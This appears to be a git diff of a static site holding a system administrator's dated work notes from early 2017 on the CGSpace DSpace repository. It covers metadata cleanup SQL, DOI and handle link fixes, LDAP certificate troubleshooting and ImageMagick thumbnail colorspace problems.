$ JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8" /home/cgspace.cgiar.org/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/68704 --source /home/aorth/CIAT_232/SimpleArchiveFormat/ --mapfile=/tmp/ciat.map &> /tmp/ciat.log
+

2017-01-22

+
    +
  • Looking at some records that Sisay is having problems importing into DSpace Test (seems to be because of copious whitespace return characters from Excel’s CSV exporter)
    • +
  • There were also some issues with an invalid dc.date.issued field, and I trimmed leading / trailing whitespace and cleaned up some URLs with unneeded parameters like ?show=full
    • +
+

2017-01-23

+
    +
  • I merged Atmire’s pull request into the development branch so they can deploy it on DSpace Test
    • +
  • Move some old ILRI Program communities to a new subcommunity for former programs (10568/79164):
    • +
+
$ for community in 10568/171 10568/27868 10568/231 10568/27869 10568/150 10568/230 10568/32724 10568/172; do /home/cgspace.cgiar.org/bin/dspace community-filiator --remove --parent=10568/27866 --child="$community" && /home/cgspace.cgiar.org/bin/dspace community-filiator --set --parent=10568/79164 --child="$community"; done
+
+
10568/42161 10568/171 10568/79341
+10568/41914 10568/171 10568/79340
+

2017-01-24

+
    +
  • Run all updates on DSpace Test and reboot the server
    • +
  • Run fixes for Journal titles on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/fix-49-journal-titles.csv -f dc.source -t correct -m 55 -d dspace -u dspace -p 'password'
+
    +
  • Create a new list of the top 500 journal titles from the database:
    • +
+
dspace-# \copy (select distinct text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=55 group by text_value order by count desc limit 500) to /tmp/journal-titles.csv with csv;
+
    +
  • Then sort them in OpenRefine and create a controlled vocabulary by manually adding the XML markup, pull request (#298)
    • +
  • This would be the last issue remaining to close the meta issue about switching to controlled vocabularies (#69)
    • +
+

2017-01-25

+
    +
  • Atmire says the com.atmire.statistics.util.UpdateSolrStorageReports and com.atmire.utils.ReportSender are no longer necessary because they are using a Spring scheduler for these tasks now
    • +
  • Pull request to remove them from the Ansible templates: https://github.com/ilri/rmg-ansible-public/pull/80
    • +
  • Still testing the Atmire modules on DSpace Test, and it looks like a few issues we had reported are now fixed: +
      +
    • XLS Export from Content statistics
      • +
    • Most popular items
      • +
    • Show statistics on collection pages
      • +
    +
    • +
  • But now we have a new issue with the “Types” in Content statistics not being respected—we only get the defaults, despite having custom settings in dspace/config/modules/atmire-cua.cfg
    • +
+

2017-01-27

+
    +
  • Magdalena pointed out that somehow the Anonymous group had been added to the Administrators group on CGSpace (!)
    • +
  • Discuss plans to update CCAFS metadata and communities for their new flagships and phase II project identifiers
    • +
  • The flagships are in cg.subject.ccafs, and we need to probably make a new field for the phase II project identifiers
    • +
+

2017-01-28

+
    +
  • Merge controlled vocabulary for journal titles (dc.source) into CGSpace (#298)
    • +
  • Merge new CIAT subject into CGSpace (#296)
    • +
+

2017-01-29

+
    +
  • Run all system updates on DSpace Test, redeploy DSpace code, and reboot the server
    • +
  • Run all system updates on CGSpace, redeploy DSpace code, and reboot the server
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-02/index.html b/docs/2017-02/index.html new file mode 100644 index 000000000..994aafadd --- /dev/null +++ b/docs/2017-02/index.html @@ -0,0 +1,477 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2017

+

+ + in + +  + +

+
+

2017-02-07

+
    +
  • An item was mapped twice erroneously again, so I had to remove one of the mappings manually:
    • +
+
dspace=# select * from collection2item where item_id = '80278';
+  id   | collection_id | item_id
+-------+---------------+---------
+ 92551 |           313 |   80278
+ 92550 |           313 |   80278
+ 90774 |          1051 |   80278
+(3 rows)
+dspace=# delete from collection2item where id = 92551 and item_id = 80278;
+DELETE 1
+
    +
  • Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301)
    • +
  • Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name
    • +
+

2017-02-08

+
    +
  • We also need to rename some of the CCAFS Phase I flagships: +
      +
    • CLIMATE-SMART AGRICULTURAL PRACTICES → CLIMATE-SMART TECHNOLOGIES AND PRACTICES
      • +
    • CLIMATE RISK MANAGEMENT → CLIMATE SERVICES AND SAFETY NETS
      • +
    • LOW EMISSIONS AGRICULTURE → LOW EMISSIONS DEVELOPMENT
      • +
    • POLICIES AND INSTITUTIONS → PRIORITIES AND POLICIES FOR CSA
      • +
    +
    • +
  • The climate risk management one doesn’t exist, so I will have to ask Magdalena if they want me to add it to the input forms
    • +
  • Start testing some nearly 500 author corrections that CCAFS sent me:
    • +
+
$ ./fix-metadata-values.py -i /tmp/CCAFS-Authors-Feb-7.csv -f dc.contributor.author -t 'correct name' -m 3 -d dspace -u dspace -p fuuu
+

2017-02-09

+
    +
  • More work on CCAFS Phase II stuff
    • +
  • Looks like simply adding a new metadata field to dspace/config/registries/cgiar-types.xml and restarting DSpace causes the field to get added to the rregistry
    • +
  • It requires a restart but at least it allows you to manage the registry programmatically
    • +
  • It’s not a very good way to manage the registry, though, as removing one there doesn’t cause it to be removed from the registry, and we always restore from database backups so there would never be a scenario when we needed these to be created
    • +
  • Testing some corrections on CCAFS Phase II flagships (cg.subject.ccafs):
    • +
+
$ ./fix-metadata-values.py -i ccafs-flagships-feb7.csv -f cg.subject.ccafs -t correct -m 210 -d dspace -u dspace -p fuuu
+

2017-02-10

+
    +
  • CCAFS said they want to wait on the flagship updates (cg.subject.ccafs) on CGSpace, perhaps for a month or so
    • +
  • Help Marianne Gadeberg (WLE) with some user permissions as it seems she had previously been using a personal email account, and is now on a CGIAR one
    • +
  • I manually added her new account to ~25 authorizations that her hold user was on
    • +
+

2017-02-14

+
    +
  • Add SCALING to ILRI subjects (#304), as Sisay’s attempts were all sloppy
    • +
  • Cherry pick some patches from the DSpace 5.7 branch: +
      +
    • DS-3363 CSV import error says “row”, means “column”: f7b6c83e991db099003ee4e28ca33d3c7bab48c0
      • +
    • DS-3479 avoid adding empty metadata values during import: 329f3b48a6de7fad074d825fd12118f7e181e151
      • +
    • [DS-3456] 5x Clarify command line options for statisics import/export tools (#1623): 567ec083c8a94eb2bcc1189816eb4f767745b278
      • +
    • [DS-3458]5x Allow Shard Process to Append to an existing repo: 3c8ecb5d1fd69a1dcfee01feed259e80abbb7749
      • +
    +
    • +
  • I still need to test these, especially as the last two which change some stuff with Solr maintenance
    • +
+

2017-02-15

+ +

2017-02-16

+
    +
  • Looking at memory info from munin on CGSpace:
    • +
+

CGSpace meminfo

+
    +
  • We are using only ~8GB of RAM for applications, and 16GB for caches!
    • +
  • The Linode machine we’re on has 24GB of RAM but only because that’s the only instance that had enough disk space for us (384GB)…
    • +
  • We should probably look into Google Compute Engine or Digital Ocean where we can get more storage without having to follow a linear increase in instance pricing for CPU/memory as well
    • +
  • Especially because we only use 2 out of 8 CPUs basically:
    • +
+

CGSpace CPU

+
    +
  • Fix issue with duplicate declaration of in atmire-dspace-xmlui pom.xml (causing non-fatal warnings during the maven build)
    • +
  • Experiment with making DSpace generate HTTPS handle links, first a change in dspace.cfg or the site’s properties file:
    • +
+
handle.canonical.prefix = https://hdl.handle.net/
+
    +
  • And then a SQL command to update existing records:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://hdl.handle.net', 'https://hdl.handle.net') where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'uri');
+UPDATE 58193
+
    +
  • Seems to work fine!
    • +
  • I noticed a few items that have incorrect DOI links (dc.identifier.doi), and after looking in the database I see there are over 100 that are missing the scheme or are just plain wrong:
    • +
+
dspace=# select distinct text_value from metadatavalue where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value not like 'http%://%';
+
    +
  • This will replace any that begin with 10. and change them to https://dx.doi.org/10.:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '(^10\..+$)', 'https://dx.doi.org/\1') where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like '10.%';
+
    +
  • This will get any that begin with doi:10. and change them to https://dx.doi.org/10.x:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '^doi:(10\..+$)', 'https://dx.doi.org/\1') where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like 'doi:10%';
+
    +
  • Fix DOIs like dx.doi.org/10. to be https://dx.doi.org/10.:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '(^dx.doi.org/.+$)', 'https://dx.doi.org/\1') where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like 'dx.doi.org/%';
+
    +
  • Fix DOIs like http//:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '^http//(dx.doi.org/.+$)', 'https://dx.doi.org/\1') where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like 'http//%';
+
    +
  • Fix DOIs like dx.doi.org./:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, '(^dx.doi.org\./.+$)', 'https://dx.doi.org/\1') where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like 'dx.doi.org./%'
+
    +
  • Delete some invalid DOIs:
    • +
+
dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value in ('DOI','CPWF Mekong','Bulawayo, Zimbabwe','bb');
+
    +
  • Fix some other random outliers:
    • +
+
dspace=# update metadatavalue set text_value = 'https://dx.doi.org/10.1016/j.aquaculture.2015.09.003' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'http:/dx.doi.org/10.1016/j.aquaculture.2015.09.003';
+dspace=# update metadatavalue set text_value = 'https://dx.doi.org/10.5337/2016.200' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'doi: https://dx.doi.org/10.5337/2016.200';
+dspace=# update metadatavalue set text_value = 'https://dx.doi.org/doi:10.1371/journal.pone.0062898' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'Http://dx.doi.org/doi:10.1371/journal.pone.0062898';
+dspace=# update metadatavalue set text_value = 'https://dx.doi.10.1016/j.cosust.2013.11.012' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'http:dx.doi.10.1016/j.cosust.2013.11.012';
+dspace=# update metadatavalue set text_value = 'https://dx.doi.org/10.1080/03632415.2014.883570' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'org/10.1080/03632415.2014.883570';
+dspace=# update metadatavalue set text_value = 'https://dx.doi.org/10.15446/agron.colomb.v32n3.46052' where metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value = 'Doi: 10.15446/agron.colomb.v32n3.46052';
+
    +
  • And do another round of http:// → https:// cleanups:
    • +
+
dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://dx.doi.org', 'https://dx.doi.org') where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'identifier' and qualifier = 'doi') and text_value like 'http://dx.doi.org%';
+
    +
  • Run all DOI corrections on CGSpace
    • +
  • Something to think about here is to write a Curation Task in Java to do these sanity checks / corrections every night
    • +
  • Then we could add a cron job for them and run them from the command line like:
    • +
+
[dspace]/bin/dspace curate -t noop -i 10568/79891
+

2017-02-20

+
    +
  • Run all system updates on DSpace Test and reboot the server
    • +
  • Run CCAFS author corrections on DSpace Test and CGSpace and force a full discovery reindex
    • +
  • Fix label of CCAFS subjects in Atmire Listings and Reports module
    • +
  • Help Sisay with SQL commands
    • +
  • Help Paola from CCAFS with the Atmire Listings and Reports module
    • +
  • Testing the fix-metadata-values.py script on macOS and it seems like we don’t need to use .encode('utf-8') anymore when printing strings to the screen
    • +
  • It seems this might have only been a temporary problem, as both Python 3.5.2 and 3.6.0 are able to print the problematic string “Entwicklung & Ländlicher Raum” without the encode() call, but print it as a bytes when it is used:
    • +
+
$ python
+Python 3.6.0 (default, Dec 25 2016, 17:30:53)
+>>> print('Entwicklung & Ländlicher Raum')
+Entwicklung & Ländlicher Raum
+>>> print('Entwicklung & Ländlicher Raum'.encode())
+b'Entwicklung & L\xc3\xa4ndlicher Raum'
+
    +
  • So for now I will remove the encode call from the script (though it was never used on the versions on the Linux hosts), leading me to believe it really was a temporary problem, perhaps due to macOS or the Python build I was using.
    • +
+

2017-02-21

+
    +
  • Testing regenerating PDF thumbnails, like I started in 2016-11
    • +
  • It seems there is a bug in filter-media that causes it to process formats that aren’t part of its configuration:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/16856 -p "ImageMagick PDF Thumbnail"
+File: earlywinproposal_esa_postharvest.pdf.jpg
+FILTERED: bitstream 13787 (item: 10568/16881) and created 'earlywinproposal_esa_postharvest.pdf.jpg'
+File: postHarvest.jpg.jpg
+FILTERED: bitstream 16524 (item: 10568/24655) and created 'postHarvest.jpg.jpg'
+
    +
  • According to dspace.cfg the ImageMagick PDF Thumbnail plugin should only process PDFs:
    • +
+
filter.org.dspace.app.mediafilter.ImageMagickImageThumbnailFilter.inputFormats = BMP, GIF, image/png, JPG, TIFF, JPEG, JPEG 2000
+filter.org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter.inputFormats = Adobe PDF
+
    +
  • I’ve sent a message to the mailing list and might file a Jira issue
    • +
  • Ask Atmire about the failed interpolation of the dspace.internalUrl variable in atmire-cua.cfg
    • +
+

2017-02-22

+
    +
  • Atmire said I can add dspace.internalUrl to my build properties and the error will go away
    • +
  • It should be the local URL for accessing Tomcat from the server’s own perspective, ie: http://localhost:8080
    • +
+

2017-02-26

+
    +
  • Find all fields with “http://hdl.handle.net” values (most are in dc.identifier.uri, but some are in other URL-related fields like cg.link.reference, cg.identifier.dataurl, and cg.identifier.url):
    • +
+
dspace=# select distinct metadata_field_id from metadatavalue where resource_type_id=2 and text_value like 'http://hdl.handle.net%';
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://hdl.handle.net', 'https://hdl.handle.net') where resource_type_id=2 and metadata_field_id IN (25, 113, 179, 219, 220, 223) and text_value like 'http://hdl.handle.net%';
+UPDATE 58633
+
    +
  • This works but I’m thinking I’ll wait on the replacement as there are perhaps some other places that rely on http://hdl.handle.net (grep the code, it’s scary how many things are hard coded)
    • +
  • Send message to dspace-tech mailing list with concerns about this
    • +
+

2017-02-27

+
    +
  • LDAP users cannot log in today, looks to be an issue with CGIAR’s LDAP server:
    • +
+
$ openssl s_client -connect svcgroot2.cgiarad.org:3269
+CONNECTED(00000003)
+depth=0 CN = SVCGROOT2.CGIARAD.ORG
+verify error:num=20:unable to get local issuer certificate
+verify return:1
+depth=0 CN = SVCGROOT2.CGIARAD.ORG
+verify error:num=21:unable to verify the first certificate
+verify return:1
+---
+Certificate chain
+ 0 s:/CN=SVCGROOT2.CGIARAD.ORG
+   i:/CN=CGIARAD-RDWA-CA
+---
+
    +
  • For some reason it is now signed by a private certificate authority
    • +
  • This error seems to have started on 2017-02-25:
    • +
+
$ grep -c "unable to find valid certification path" [dspace]/log/dspace.log.2017-02-*
+[dspace]/log/dspace.log.2017-02-01:0
+[dspace]/log/dspace.log.2017-02-02:0
+[dspace]/log/dspace.log.2017-02-03:0
+[dspace]/log/dspace.log.2017-02-04:0
+[dspace]/log/dspace.log.2017-02-05:0
+[dspace]/log/dspace.log.2017-02-06:0
+[dspace]/log/dspace.log.2017-02-07:0
+[dspace]/log/dspace.log.2017-02-08:0
+[dspace]/log/dspace.log.2017-02-09:0
+[dspace]/log/dspace.log.2017-02-10:0
+[dspace]/log/dspace.log.2017-02-11:0
+[dspace]/log/dspace.log.2017-02-12:0
+[dspace]/log/dspace.log.2017-02-13:0
+[dspace]/log/dspace.log.2017-02-14:0
+[dspace]/log/dspace.log.2017-02-15:0
+[dspace]/log/dspace.log.2017-02-16:0
+[dspace]/log/dspace.log.2017-02-17:0
+[dspace]/log/dspace.log.2017-02-18:0
+[dspace]/log/dspace.log.2017-02-19:0
+[dspace]/log/dspace.log.2017-02-20:0
+[dspace]/log/dspace.log.2017-02-21:0
+[dspace]/log/dspace.log.2017-02-22:0
+[dspace]/log/dspace.log.2017-02-23:0
+[dspace]/log/dspace.log.2017-02-24:0
+[dspace]/log/dspace.log.2017-02-25:7
+[dspace]/log/dspace.log.2017-02-26:8
+[dspace]/log/dspace.log.2017-02-27:90
+
    +
  • Also, it seems that we need to use a different user for LDAP binds, as we’re still using the temporary one from the root migration, so maybe we can go back to the previous user we were using
    • +
  • So it looks like the certificate is invalid AND the bind users we had been using were deleted
    • +
  • Biruk Debebe recreated the bind user and now we are just waiting for CGNET to update their certificates
    • +
  • Regarding the filter-media issue I found earlier, it seems that the ImageMagick PDF plugin will also process JPGs if they are in the “Content Files” (aka ORIGINAL) bundle
    • +
  • The problem likely lies in the logic of ImageMagickThumbnailFilter.java, as ImageMagickPdfThumbnailFilter.java extends it
    • +
  • Run CIAT corrections on CGSpace
    • +
+
dspace=# update metadatavalue set authority='3026b1de-9302-4f3e-85ab-ef48da024eb2', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value = 'International Center for Tropical Agriculture';
+
    +
  • CGNET has fixed the certificate chain on their LDAP server
    • +
  • Redeploy CGSpace and DSpace Test to on latest 5_x-prod branch with fixes for LDAP bind user
    • +
  • Run all system updates on CGSpace server and reboot
    • +
+

2017-02-28

+
    +
  • After running the CIAT corrections and updating the Discovery and authority indexes, there is still no change in the number of items listed for CIAT in Discovery
    • +
  • Ah, this is probably because some items have the International Center for Tropical Agriculture author twice, which I first noticed in 2016-12 but couldn’t figure out how to fix
    • +
  • I think I can do it by first exporting all metadatavalues that have the author International Center for Tropical Agriculture
    • +
+
dspace=# \copy (select resource_id, metadata_value_id from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value='International Center for Tropical Agriculture') to /tmp/ciat.csv with csv;
+COPY 1968
+
    +
  • And then use awk to print the duplicate lines to a separate file:
    • +
+
$ awk -F',' 'seen[$1]++' /tmp/ciat.csv > /tmp/ciat-dupes.csv
+
    +
  • From that file I can create a list of 279 deletes and put them in a batch script like:
    • +
+
delete from metadatavalue where resource_type_id=2 and metadata_field_id=3 and metadata_value_id=2742061;
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-03/index.html b/docs/2017-03/index.html new file mode 100644 index 000000000..51e3ea596 --- /dev/null +++ b/docs/2017-03/index.html @@ -0,0 +1,409 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2017

+

+ + in + +  + +

+
+

2017-03-01

+
    +
  • Run the 279 CIAT author corrections on CGSpace
    • +
+

2017-03-02

+
    +
  • Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace
    • +
  • CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles
    • +
  • They might come in at the top level in one “CGIAR System” community, or with several communities
    • +
  • I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?
    • +
  • Need to send Peter and Michael some notes about this in a few days
    • +
  • Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI
    • +
  • Filed an issue on DSpace issue tracker for the filter-media bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: DS-3516
    • +
  • Discovered that the ImageMagic filter-media plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK
    • +
  • Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing regeneration using DSpace 5.x’s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see 10568/51999):
    • +
+
$ identify ~/Desktop/alc_contrastes_desafios.jpg
+/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000
+
    +
  • This results in discolored thumbnails when compared to the original PDF, for example sRGB and CMYK:
    • +
+

Thumbnail in sRGB colorspace

+

Thumbnial in CMYK colorspace

+
    +
  • I filed an issue for the color space thing: DS-3517
    • +
+

2017-03-03

+ +
$ convert alc_contrastes_desafios.pdf\[0\] -profile /opt/brew/Cellar/ghostscript/9.20/share/ghostscript/9.20/iccprofiles/default_cmyk.icc -thumbnail 300x300 -flatten -profile /opt/brew/Cellar/ghostscript/9.20/share/ghostscript/9.20/iccprofiles/default_rgb.icc alc_contrastes_desafios.pdf.jpg
+
    +
  • This reads the input file, applies the CMYK profile, applies the RGB profile, then writes the file
    • +
  • Note that you should set the first profile immediately after the input file
    • +
  • Also, it is better to use profiles than setting -colorspace
    • +
  • This is a great resource describing the color stuff: http://www.imagemagick.org/Usage/formats/#profiles
    • +
  • Somehow we need to detect the color system being used by the input file and handle each case differently (with profiles)
    • +
  • This is trivial with identify (even by the Java ImageMagick API):
    • +
+
$ identify -format '%r\n' alc_contrastes_desafios.pdf\[0\]
+DirectClass CMYK
+$ identify -format '%r\n' Africa\ group\ of\ negotiators.pdf\[0\]
+DirectClass sRGB Alpha
+

2017-03-04

+
    +
  • Spent more time looking at the ImageMagick CMYK issue
    • +
  • The default_cmyk.icc and default_rgb.icc files are both part of the Ghostscript GPL distribution, but according to DSpace’s LICENSES_THIRD_PARTY file, DSpace doesn’t allow distribution of dependencies that are licensed solely under the GPL
    • +
  • So this issue is kinda pointless now, as the ICC profiles are absolutely necessary to make a meaningful CMYK→sRGB conversion
    • +
+

2017-03-05

+
    +
  • Look into helping developers from landportal.info with a query for items related to LAND on the REST API
    • +
  • They want something like the items that are returned by the general “LAND” query in the search interface, but we cannot do that
    • +
  • We can only return specific results for metadata fields, like:
    • +
+
$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key": "cg.subject.ilri","value": "LAND REFORM", "language": null}' | json_pp
+
+
# List any additional prefixes that need to be managed by this handle server
+# (as for examle handle prefix coming from old dspace repository merged in
+# that repository)
+# handle.additional.prefixes = prefix1[, prefix2]
+
    +
  • Because of this I noticed that our Handle server’s config.dct was potentially misconfigured!
    • +
  • We had some default values still present:
    • +
+
"300:0.NA/YOUR_NAMING_AUTHORITY"
+
    +
  • I’ve changed them to the following and restarted the handle server:
    • +
+
"300:0.NA/10568"
+
    +
  • In looking at all the configs I just noticed that we are not providing a DOI in the Google-specific metadata crosswalk
    • +
  • From dspace/config/crosswalks/google-metadata.properties:
    • +
+
google.citation_doi = cg.identifier.doi
+
    +
  • This works, and makes DSpace output the following metadata on the item view page:
    • +
+
<meta content="https://dx.doi.org/10.1186/s13059-017-1153-y" name="citation_doi">
+
+

2017-03-06

+
    +
  • Someone on the mailing list said that handle.plugin.checknameauthority should be false if we’re using multiple handle prefixes
    • +
+

2017-03-07

+
    +
  • I set up a top-level community as a test for the CGIAR Library and imported one item with the the 10947 handle prefix
    • +
  • When testing the Handle resolver locally it shows the item to be on the local repository
    • +
  • So this seems to work, with the following caveats: +
      +
    • New items will have the default handle
      • +
    • Communities and collections will have the default handle
      • +
    • Only items imported manually can have the other handles
      • +
    +
    • +
  • I need to talk to Michael and Peter to share the news, and discuss the structure of their community(s) and try some actual test data
    • +
  • We’ll need to do some data cleaning to make sure they are using the same fields we are, like dc.type and cg.identifier.status
    • +
  • Another thing is that the import process creates new dc.date.accessioned and dc.date.available fields, so we end up with duplicates (is it important to preserve the originals for these?)
    • +
  • Report DS-3520 issue to Atmire
    • +
+

2017-03-08

+
    +
  • Merge the author separator changes to 5_x-prod, as everyone has responded positively about it, and it’s the default in Mirage2 afterall!
    • +
  • Cherry pick the commons-collections patch from DSpace’s dspace-5_x branch to address DS-3520: https://jira.duraspace.org/browse/DS-3520
    • +
+

2017-03-09

+
    +
  • Export list of sponsors so Peter can clean it up:
    • +
+
dspace=# \copy (select text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'description' and qualifier = 'sponsorship') group by text_value order by count desc) to /tmp/sponsorship.csv with csv;
+COPY 285
+

2017-03-12

+
    +
  • Test the sponsorship fixes and deletes from Peter:
    • +
+
$ ./fix-metadata-values.py -i Investors-Fix-51.csv -f dc.description.sponsorship -t Action -m 29 -d dspace -u dspace -p fuuuu
+$ ./delete-metadata-values.py -i Investors-Delete-121.csv -f dc.description.sponsorship -m 29 -d dspace -u dspace -p fuuu
+
    +
  • Generate a new list of unique sponsors so we can update the controlled vocabulary:
    • +
+
dspace=# \copy (select distinct text_value from metadatavalue where resource_type_id=2 and metadata_field_id IN (select metadata_field_id from metadatafieldregistry where element = 'description' and qualifier = 'sponsorship')) to /tmp/sponsorship.csv with csv;
+
+

Livestock CRP theme

+

2017-03-15

+ +

2017-03-16

+
    +
  • Merge pull request for PABRA subjects: https://github.com/ilri/DSpace/pull/310
    • +
  • Abenet and Peter say we can add them to Discovery, Atmire modules, etc, but I might not have time to do it now
    • +
  • Help Sisay with RTB theme again
    • +
  • Remove ICARDA subject from Discovery sidebar facets: https://github.com/ilri/DSpace/pull/312
    • +
  • Remove ICARDA subject from Browse and item submission form: https://github.com/ilri/DSpace/pull/313
    • +
  • Merge the CCAFS Phase II changes but hold off on doing the flagship metadata updates until Macaroni Bros gets their importer updated
    • +
  • Deploy latest changes and investor fixes/deletions on CGSpace
    • +
  • Run system updates on CGSpace and reboot server
    • +
+

2017-03-20

+ +

2017-03-24

+
    +
  • Still helping Sisay try to figure out how to create a theme for the RTB community
    • +
+

2017-03-28

+
    +
  • CCAFS said they are ready for the flagship updates for Phase II to be run (cg.subject.ccafs), so I ran them on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i ccafs-flagships-feb7.csv -f cg.subject.ccafs -t correct -m 210 -d dspace -u dspace -p fuuu
+
    +
  • We’ve been waiting since February to run these
    • +
  • Also, I generated a list of all CCAFS flagships because there are a dozen or so more than there should be:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=210 group by text_value order by count desc) to /tmp/ccafs.csv with csv;
+
+

2017-03-29

+
    +
  • Dump a list of fields in the DC and CG schemas to compare with CG Core:
    • +
+
dspace=# select case when metadata_schema_id=1 then 'dc' else 'cg' end as schema, element, qualifier, scope_note from metadatafieldregistry where metadata_schema_id in (1, 2);
+
    +
  • Ooh, a better one!
    • +
+
dspace=# select coalesce(case when metadata_schema_id=1 then 'dc.' else 'cg.' end) || concat_ws('.', element, qualifier) as field, scope_note from metadatafieldregistry where metadata_schema_id in (1, 2);
+

2017-03-30

+
    +
  • Adjust the Linode CPU usage alerts for the CGSpace server from 150% to 200%, as generally the nightly Solr indexing causes a usage around 150–190%, so this should make the alerts less regular
    • +
  • Adjust the threshold for DSpace Test from 90 to 100%
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-04/index.html b/docs/2017-04/index.html new file mode 100644 index 000000000..17862b245 --- /dev/null +++ b/docs/2017-04/index.html @@ -0,0 +1,639 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2017

+

+ + in + +  + +

+
+

2017-04-02

+
    +
  • Merge one change to CCAFS flagships that I had forgotten to remove last month (“MANAGING CLIMATE RISK”): https://github.com/ilri/DSpace/pull/317
    • +
  • Quick proof-of-concept hack to add dc.rights to the input form, including some inline instructions/hints:
    • +
+

dc.rights in the submission form

+
    +
  • Remove redundant/duplicate text in the DSpace submission license
    • +
  • Testing the CMYK patch on a collection with 650 items:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt
+

2017-04-03

+
    +
  • Continue testing the CMYK patch on more communities:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/1 -p "ImageMagick PDF Thumbnail" -v >> /tmp/filter-media-cmyk.txt 2>&1
+
    +
  • So far there are almost 500:
    • +
+
$ grep -c profile /tmp/filter-media-cmyk.txt
+484
+
    +
  • Looking at the CG Core document again, I’ll send some feedback to Peter and Abenet: +
      +
    • We use cg.contributor.crp to indicate the CRP(s) affiliated with the item
      • +
    • DSpace has dc.date.available, but this field isn’t particularly meaningful other than as an automatic timestamp at the time of item accession (and is identical to dc.date.accessioned)
      • +
    • dc.relation exists in CGSpace, but isn’t used—rather dc.relation.ispartofseries, which is used ~5,000 times to Series name and number within that series
      • +
    +
    • +
  • Also, I’m noticing some weird outliers in cg.coverage.region, need to remember to go correct these later:
    • +
+
dspace=# select text_value from metadatavalue where resource_type_id=2 and metadata_field_id=227;
+

2017-04-04

+
    +
  • The filter-media script has been running on more large communities and now there are many more CMYK PDFs that have been fixed:
    • +
+
$ grep -c profile /tmp/filter-media-cmyk.txt
